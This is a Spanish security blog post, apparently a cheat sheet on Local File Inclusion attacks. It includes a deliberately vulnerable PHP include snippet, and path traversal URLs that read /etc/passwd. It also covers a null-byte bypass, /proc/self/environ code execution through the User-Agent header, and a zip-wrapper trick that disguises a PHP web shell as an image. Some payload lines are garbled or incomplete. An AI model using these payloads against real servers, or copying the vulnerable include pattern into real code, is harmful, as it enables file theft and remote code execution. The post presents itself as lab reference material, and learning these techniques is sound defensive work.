· Manuel López Pérez  · 2 min read

Local File Inclusion (LFI) - Cheat Sheet

Cheat sheet de LFI: path traversal, null byte, /proc/self/environ y wrappers PHP (filter/zip/data/expect) con ejemplos directos para laboratorio.

Cheat sheet de LFI: path traversal, null byte, /proc/self/environ y wrappers PHP (filter/zip/data/expect) con ejemplos directos para laboratorio.

La vulnerabilidad ‘local file inclusion’ permite a un atacante leer un archivo del servidor vulnerable, se produce debido a un error de programación de la pagina.

Dependiendo de la importancia, esta vulnerabilidad puede llevar al atacante a:

  • RCE (Remote Code Execution)
  • XSS (Cross-site scripting)
  • DoS

Los scripts que toman los nombres de archivos como parámetros, sin securizar la entrada del usuario son buenos candidatos para LFI. Un ejemplo muy básico seria el siguiente script de php:

 // vuln.php <?php include $_GET['file']; ?>

http://prueba.com/vuln.php?file=image.jpg

Que toma image.jpg como parámetro. Un atacante cambiaría image.jpg por archivos sensibles como por ejemplo :

http://prueba.com/vuln.php?file=../../../../../../../../etc/passwd

Esto no es solo una vulnerabilidad de php; también está presente en otros lenguajes como jsp, asp, entre otros.

Cheat-Sheet / Notas :

LFI Básico:

http://ex.com/index.php?page=../../../etc/passwd

  • Null Byte: Es habitual encontrarnos con php que permiten LFI y nos añaden una extensión:
<? $file = $_GET['file']; require($file . ".php"); ?>
El php se añade al nombre del archivo, esto significa que no podremos encontrar los archivos que buscamos. Dado que el archivo/etc/passwd.php no existe. Sin embargo, si añadimos el nullbyte al final de nuestra cadena de ataque, el. php no será tenido en cuenta. Así que añadimos %00 al final de nuestra cadena de ataque.

> http://ex.com/index.php?page=../../../etc/passwd%00

/proc/self/environ

Es posible incluir el /proc/self/envirion desde el script vulnerable. Se puede aprovechar la ejecución del código manipulado el paramento User-Agent con Burp-Suite. Después de que el código php ha sido introducido, se puede ejecutar RCE.

GET /lfi.php?page=/proc/self/environ&cmd=id HTTP/1.1 Host: www.ex.com User-Agent:

LFI Wrappers:

Php incorpora una serie de envolturas para distintos protocolos tipo URL para trabajar junto con funciones del sistema, son los llamados wrappers.

echo "<?php \\$_GET['param1'](\\$_GET['param2']); ?>" > shell.php zip -0 payload.zip payload.php; mv payload.zip shell.jpg; rm payload.php
> http://ex.com/index.php?page=zip://shell.jpg%23payload.php

Herramientas: LFI

Referencias:

Back to Blog

Related Posts

View All Posts »
Image Upload RCE - Cheat Sheet

Image Upload RCE - Cheat Sheet

Cheat sheet sobre bypass de filtros en formularios de subida de imágenes que pueden derivar en RCE, con ejemplos típicos de validación por extensión/MIME y casos comunes.